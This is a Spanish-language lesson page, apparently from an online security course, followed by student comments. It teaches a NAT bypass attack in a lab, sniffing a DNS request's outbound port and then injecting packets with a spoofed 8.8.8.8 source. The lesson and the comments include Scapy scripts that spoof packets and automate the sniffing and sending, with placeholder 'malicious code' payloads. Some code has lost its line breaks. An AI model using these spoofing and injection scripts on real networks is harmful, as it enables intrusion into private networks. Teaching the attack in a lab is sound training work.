Inyección de Datos en Redes Internas mediante Puertos Aleatorios
Resumen
¿Cómo se puede utilizar el puerto identificado para inyectar información desde una red externa?
Una vez que has identificado el puerto que el NAT asigna para una transacción saliente, puedes intentar enviar información desde una red externa hacia la interna. Esto se logra considerando que el puerto puede cambiar dependiendo de la transacción, lo cual hace crucial revisarlo para asegurarse del número exacto que debes monitorear. Veamos paso a paso cómo se realiza este procedimiento:
Elige el puerto del servidor DNS: Selecciona una IP y un puerto conocido, como el 8.8.8.8 en el puerto 53, para iniciar una conexión y capturar tráfico.
Configura la herramienta para esperar respuesta:
Utiliza herramientas como Netcat para establecer una conexión y esperar una respuesta desde la IP a la cual envías la solicitud.
Identifica el puerto de salida: Después de iniciar la conexión, revisa el tráfico para identificar el puerto de salida que la red interna asignó.
¿Cómo construir el paquete con Scapy para enviar datos?
Scapy es una herramienta poderosa para el análisis y generación de paquetes de red, permitiendo crear capas de encapsulado y enviar datos de manera controlada. A continuación, una guía básica para construir un paquete en Python usando Scapy:
from scapy.allimport*# Crea la capa de IP falsificando la IP de origen como la del servidorip = IP(src="IP_DEL_SERVIDOR", dst="IP_PUBLICA_DESTINO")# Crea la capa TCP con el puerto DNS como origen y el puerto identificado como destinotcp = TCP(sport=53, dport=PUERTO_IDENTIFICADO)# Añade una carga útil que puede ser un texto plano o código maliciosopayload = Raw(load="Datos o código malicioso")# Construye el paquete con las capas definidaspaquete = ip/tcp/payload
# Envía el paquete repetidamentesend(paquete, inter=3, loop=1, iface="eth0")
¿Qué consideraciones son cruciales al ejecutar este tipo de ataque?
Monitoreo y respuesta automática:
En un escenario real, deberías tener un sistema que monitoree automáticamente las conexiones salientes y responda inmediatamente a nuevas solicitudes. Aquí radica la importancia de programar scripts que utilicen Scapy para manejar las respuestas.
Automatización con Python:
La automatización y el monitoreo pueden mejorarse con scripts de Python, aprovechando que Scapy permite programar para detectar conexiones y puertos de manera dinámica.
Desafío técnico:
Si bien ejecutar scripts en la consola puede funcionar para pruebas básicas, implementar un programa completo ofrece una solución más práctica en un entorno con múltiples máquinas y servicios activos.
Este enfoque no solo incrementa la eficiencia del ataque, sino que también expone las vulnerabilidades del sistema y subraya la necesidad de mejorar las configuraciones de seguridad y políticas de red. Aprender a utilizar eficazmente herramientas como Scapy, una vez que te has familiarizado con Python, te dotará de mayores capacidades en el ámbito de la seguridad informática. A medida que avances, explorar nuevas posibilidades dentro de este tipo de herramientas puede ser tanto educativo como estimulante.
El curso es excelente, tan bueno y completo que llego a perderme en varias partes. Es para repasarlo una y otra vez. El contenido sí vale la pena.
A mi me pasa igual lo estoy haciendo por segunda vez porque vale la pena.
Ya somos 3.
Con el siguiente script se puede automatizar un poco el proceso:
#!/usr/bin/python3from scapy.allimport sniff,UDP,Ether,IP, sendp
port =0def print_summary(pkt): global port
if pkt[UDP].sport!=None: port=pkt[UDP].sportwhile port ==0: packets =sniff(filter="dst host 8.8.8.8 and dst port 53 and src host 192.168.120.1 and udp", count=1, iface="eth0", timeout=1, prn=print_summary)a =Ether()b =IP(src="8.8.8.8", dst="192.168.120.1")c =UDP(sport=53, dport=port)d = r"Malicious payload"packet = a/b/c/d
sendp(packet, loop=1, inter=3, iface="eth0")
Excelente aporte
muchas gracias por el aporte, la linea de raw me funciono tal cual no con el parentesis y como la dicen en el video, gracias
en casi de que raw no te funciona
d = r"Esto podira ser codigo malicioso"
esto es por la versión que usa python
Me funciono con raw(bytes_encode("Esto podría ser código malicioso"))
Gracias por el aporte. me sirvio.
Al momento de cambiar la máquina de kali-linux de la red internal 192.168.10.0 a la red 192.168.120.0, no detecta el tráfico del equipo de lubuntu en la red 192.168.10.100.
¿Qué puedo hacer?
Hola.
Asegurate de estar en el mismo switch virtual que da virtualBox para conectar las interfaces de los enrutadores que manejan RIP, y contar tambien con la configuración IP con la que funciona RIP.
intenta a poner el modo promiscuo en permitid todo en virtual box (maquina de kali)
NATBYPASS
El ataque de NATBypass, nos permite aprovecharnos de una vulnerabilidad de este protocolo para, como su nombre lo indica, saltarnoslo y poder generar una conexión directa con el equipo a través de un puerto dado. El cual se deberá conocer a través de un comando que mencionaremos más adelante.
El primer paso es crear el paquete falso con Scapy:
a =Ether()b =IP(src="8.8.8.8", dst="192.168.120.1")//src es la red que estamos falsificando y dst es la ip públicac=UDP(sport=53,dport=44576)//dport es el puerto de la víctima.d =raw(bytes_encode("Aqui va el codigo malicioso"))packet =a/b/c/d
Pero debemos ser rápidos si queremos que el ataque funcione, por lo que, una vez armado el paquete, ejecutamos el comando en nuestra máquina de ubuntu que nos permite conocer el puerto al que enviaremos la solicitud falsificaa.